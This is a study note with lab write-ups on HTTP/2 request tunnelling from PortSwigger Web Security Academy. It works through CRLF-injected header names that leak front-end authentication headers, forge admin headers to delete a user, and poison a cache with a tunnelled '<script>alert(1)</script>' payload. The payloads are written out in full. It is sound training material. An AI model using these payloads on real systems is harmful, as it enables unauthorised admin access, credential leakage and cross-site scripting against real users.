What is Request Tunnelling?
Although some servers will reuse the connection for any requests, others have stricter policies.
For example, some servers only allow requests originating from the same IP address or the same client to reuse the connection. Others wonât reuse the connection at all, which limits what you can achieve through classic request smuggling as you have no obvious way to influence other usersâ traffic.
You can still send a single request that will elicit two responses from the back-end. This potentially enables you to hide a request and its matching response from the front-end altogether.
You can use this technique to bypass front-end security measures that may otherwise prevent you from sending certain requests.
Request Tunnelling with HTTP/2
In HTTP/2, each âstreamâ should only ever contain a single request and response. If you receive an HTTP/2 response with what appears to be an HTTP/1 response in the body, you can be confident that youâve successfully tunneled a second request.
Leaking Internal Headers via HTTP/2 Request Tunnelling
You can potentially trick the front-end into appending the internal headers inside what will become a body parameter on the back-end. Letâs say we send a request that looks something like this:
Header | Value |
---|---|
:method | POST |
:path | /comment |
:authority | vulnerable-website.com |
content-type | application/x-www-form-urlencoded |
foo | bar\r\nContent-Length: 200\r\n\r\ncomment= |
The front-end sees everything weâve injected as part of a header, so adds any new headers after the trailing comment=
 string.
On the other hand, the back-end sees the \r\n\r\n
 sequence and thinks this is the end of the headers. The comment=
 string, along with the internal headers, are treated as part of the body. The result is a comment
 parameter with the internal headers as its value.
POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
comment=X-Internal-Header: secretContent-Length: 3
Non-blind Request Tunnelling Using HEAD
Some front-end servers only read in the number of bytes specified in the Content-Length
 header of the response, so only the first response is forwarded to the client. This results in a blind request tunnelling vulnerability because you wonât be able to see the response to your tunnelled request.
Blind request tunneling can be challenging to exploit, but using HEAD
requests can make these vulnerabilities visible.
Responses to HEAD
requests often include a Content-Length
header, which can cause some front-end servers to over-read the response from the back-end if they fail to account for this and read the specified number of bytes regardless.
For example:
Request:
Header | Value |
---|---|
:method | HEAD |
:path | /example |
:authority | vulnerable-website.com |
foo | bar\r\n\r\nGET /tunnelled HTTP/1.1\r\nHost: vulnerable-website.com\r\nX: x |
Response:
:status 200
content-type text/html
content-length 131
HTTP/1.1 200 OK <-- tunneled response
Content-Type: text/html
Content-Length: 4286
<!DOCTYPE html>
<h1>Tunnelled</h1>
<p>This is a tunnelled respo
Attention
If the resource returned by your
HEAD
request is shorter than the tunnelled response, it might get truncated. Conversely, if theContent-Length
exceeds the response size, you may face a timeout as the front-end server waits for more data from the back-end.
Lab: Bypassing Access Controls via HTTP/2 Request Tunnelling
Abstract
Front-end server downgrades HTTP/2 requests and fails to adequately sanitize incoming header names. To solve the lab, access the admin panel atÂ
/admin
 as theÂadministrator
 user and delete the userÂcarlos
.The front-end server doesnât reuse the connection to the back-end, so isnât vulnerable to classic request smuggling attacks. However, it is still vulnerable to request tunneling.
Hint
The front-end server appends a series of client authentication headers to incoming requests. You need to find a way of leaking these.
Testing for CRLF Injection
Try to exploit H2.CL1 and H2.TE2 vulnerabilities:
GET / HTTP/2
Content-Length: 1
GET / HTTP/2
Transfer-Encoding: chunked
1
A
X
The status codes for both requests are 200 which means we can not exploit H2.CL and H2.TE vulnerabilities.
Add a header named Host:test.com
via âInspectorâ tab of Burp Suite. The request should look like this:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | 0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net |
Host:test.com |
We do not add header value as the labâs description said that only header names are not sanitized.
Send the above request and receive this reponse:
HTTP/2 504 Gateway Timeout
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 148
<html>
<head>
<title>Server Error: Gateway Timeout</title>
</head>
<body>
<h1>Server Error: Gateway Timeout (3) connecting to test.com</h1>
</body>
</html>
This request indicates that our injected host name will be treated as a valid header by front-end server and will be forwarded to the back-end server. After that, the back-end server will make a request to the injected host name instead of the original hostname.
Try to inject CRLF by sending this request:
Header | Value |
---|---|
:method | GET |
:path | / |
:authority | 0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net |
Foo:bar\r\nHost:test.com |
Response of this request is same with the previous one, meaning that we can use CSRF injection.
Leaking Authentication Headers
Next, we need to leak authentication headers added by the front-end server3. We found that there is an endpoint that has a controllable and reflected param:
GET /?search=hello HTTP/2
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3297
...
<h1>0 search results for 'hello'</h1>
This request can also be converted into a POST request:
POST / HTTP/2
search=hello
We will use a header name like this:
Header | Value |
---|---|
:method | POST |
:path | / |
:authority | 0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net |
Content-Length:30\r\n\r\nsearch= |
In the classic request smuggling attacks, we probably place the search
param in the request body with a Content-Length
header that is slightly longer than the actual content. However, the Content-Length
is ignored so we need to inject it into the header.
How the servers process the above request:
- During downgrading, the front-end server will add authentication headers after our injected header, which was seem like a valid header.
- The
Content-Length:30
sequence will be processed by the backend server as a normal header. - After this header is a
\r\n\r\n
sequence. The back-end server sees this as the end of headers and it will read the content in the request body, including oursearch
param and any subsequent authentication headers.
As a result, the downgraded request sent to back-end server could be:
POST / HTTP/1.1
...
Content-Length: 30
search=Some-Authentication-Header:abc
...
The search
param will be reflected into the response:
<h1>0 search results for ':
X-SSL-VERIFIED: 0
'</h1>
Change value of Content-Length
to 200 and receive a timed-out response:
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
<html>
<head>
<title>Server Error: Proxy error</title>
</head>
<body>
<h1>Server Error: Communication timed out</h1>
</body>
</html>
This is because the authentication headers are not long enough. We can pad the data or reduce the value of Content-Length
until we can see every authentication headers.
Pad the reflected data by adding some âAâ characters after search=
sequence:
Content-Length:200
search=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Adjust the padding until the response has all of the authentication headers we need:
<h1>0 search results for
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 8798491640355206
Content-Length: 0
'</h1>
We can also use the comment feature to leak authentication headers by smuggling a request like via the header name:
foo: bar
POST /post/comment HTTP/1.1
Cookie: session=58Qyr4hoXJZLWChBfmHK1mTP2qXcSkZL
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
csrf=qSwSbOsl8CksXPXaK27XKIYedPHrUjOZ&postId=3&name=a&email=a%40a.com&comment=
The comment will be posted on the postâs page:
<p>:
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 8798491640355206
Content-Length: 0</p>
Tunneling the Attack Request
With the results above, we construct a header name that contains our tunneled request to /admin
as well as the authentication headers like this:
foo: bar
GET /admin HTTP/1.1
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 8798491640355206
Notice that we have changed X-SSL-VERIFIED
to 1
and X-SSL-CLIENT-CN
to administrator
as the /admin
endpoint is only accessible for administrator.
As we know, some front-end servers âonly read in the number of bytes specified in the Content-Length
 header of the response to the original requestâ so the response of our tunneled request may be ignored. To deal with this, we change request method to HEAD
.
When doing this, the response becomes:
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 151
<html>
<head>
<title>Server Error: Proxy error</title>
</head>
<body>
<h1>Server Error: Received only 3608 of expected 8848 bytes of data</h1>
</body>
</html>
This indicates that there is a response for our tunneled request but it is too short comparing with the Content-Length
header in the response of the HEAD
request. In this case, we can request to another resource that is shorter than 3521
bytes by changing the value of :path
header of the HEAD
request.
We can use /?search=hello
endpoint for this purpose.
Now we have our tunneled response:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=giYu29TnmIuwtO4fpEarQCI8LSWU19Gd; Secure; HttpOnly; SameSite=None
Content-Length: 3297
X-Frame-Options: SAMEORIGIN
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Set-Cookie: session=mf0YDlbmPvgeLd2JCQUk0OZE1olZqP9F; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=0
Content-Length: 3189
...
<a href="/admin/delete?username=carlos">Delete</a>
Change the header name into this to delete carlos
user:
foo: bar
POST /admin/delete?username=carlos HTTP/1.1
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 8798491640355206
Web Cache Poisoning via HTTP/2 Request Tunnelling
With non-blind request tunnelling, you can effectively mix and match the headers from one response with the body of another. If the response in the body reflects unencoded user input, you may be able to leverage this behavior for Reflected XSS in contexts where the browser would not normally execute the code.
For example, the following response contains unencoded, attacker-controllable input:
HTTP/1.1 200 OK
Content-Type: application/json
{ "name" : "test<script>alert(1)</script>" }
...
The Content-Type
 means that this payload will simply be interpreted as JSON by the browser. But consider what would happen if you tunnel the request to the back-end instead. This response would appear inside the body of a different response, effectively inheriting its headers, including the Content-Type
.
:status 200
content-type text/html
content-length 174
HTTP/1.1 200 OK
Content-Type: application/json
{ "name" : "test<script>alert(1)</script>" }
...
Lab: Web Cache Poisoning via HTTP/2 Request Tunnelling
Abstract
Front-end server downgrades HTTP/2 requests and doesnât consistently sanitize incoming headers.
To solve the lab, poison the cache in such a way that when the victim visits the home page, their browser executesÂ
alert(1)
. A victim user will visit the home page every 15 seconds.The front-end server doesnât reuse the connection to the back-end, so isnât vulnerable to classic request smuggling attacks. However, it is still vulnerable to request tunnelling.
Info
Follow the solution to solve this lab.
Injecting into :path
Pseudo Header
Examine a normal request:
GET / HTTP/2
...
Injection the following into :path
pseudo header:
/404 HTTP/1.1
Foo: bar
Its representation at back-end server:
GET /404 HTTP/1.1
Foo: barHTTP/2
...
Response shows that we can inject via :path
pseudo header:
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=zXm9EO1djlP6XK0VYreSl8Nfkfx4pJy2; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11
"Not Found"
Change method of the wrapper request to HEAD
and tunnel a request in :path
pseudo header:
/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
GET / HTTP/1.1
Foo: bar
Important
We still need to add a
Host
header to make sure that the wrapper request is valid.
Now we can see two responses:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=lceJdPskkeDQ6vyQhPXNNjzlLX82mqRP; Secure; HttpOnly; SameSite=None
Content-Length: 8637
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=VrF3AxT5EO93YFZcpXr9e4GwOTusUrZC; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=0
Content-Length: 8637
Reflecting Input without Sanitization
Then, we need to find some endpoint that can reflect the input without sanitization. And it is /resources
:
GET /resources HTTP/2
HTTP/2 302 Found
Location: /resources/
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 0
Try to add a param:
GET /resources?<script>alert(1)</script> HTTP/2
HTTP/2 302 Found
Location: /resources/?<script>alert(1)</script>
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 0
As we can see, the injected param is reflected into the response. Our intention is placing this response into another response that has text/html
content type.
Poisoning the Cache
Update the :path
pseudo header to tunnel a complete request:
/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
GET /resources?<script>alert(1)</script> HTTP/1.1
Foo: bar
However, when sending the above request, I receive this response:
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
<html>
<head>
<title>Server Error: Proxy error</title>
</head>
<body>
<h1>Server Error: Communication timed out</h1>
</body>
</html>
This is due to the Content-Length
header is longer in the main response is longer than the nested response of the tunnelled request.
Add some padding into the query param of /resources
endpoint to solve this problem:
/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
GET /resources?<script>alert(1)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... HTTP/1.1
Foo: bar
Response shows that we have successfully poisoned the cache:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=XKlfJKKervn0hS50OTOkc4H9wYnc6vdw; Secure; HttpOnly; SameSite=None
Content-Length: 8637
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
HTTP/1.1 302 Found
Location: /resources/?<script>alert(1)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Related
list
from outgoing([[Port Swigger - HTTP Request Tunnelling]])
sort file.ctime asc
Resources
- HTTP request tunnelling | Web Security Academy (portswigger.net)
- HTTP Request Smuggling - HTTP/2 Request Tunnelling - Scomurrâs Blog
Footnotes
-
see Lab Response Queue Poisoning via H2.TE Request Smuggling â©
-
we will use techniques in Revealing Front-end Request Rewriting and 2 Request Splitting via CRLF Injection â©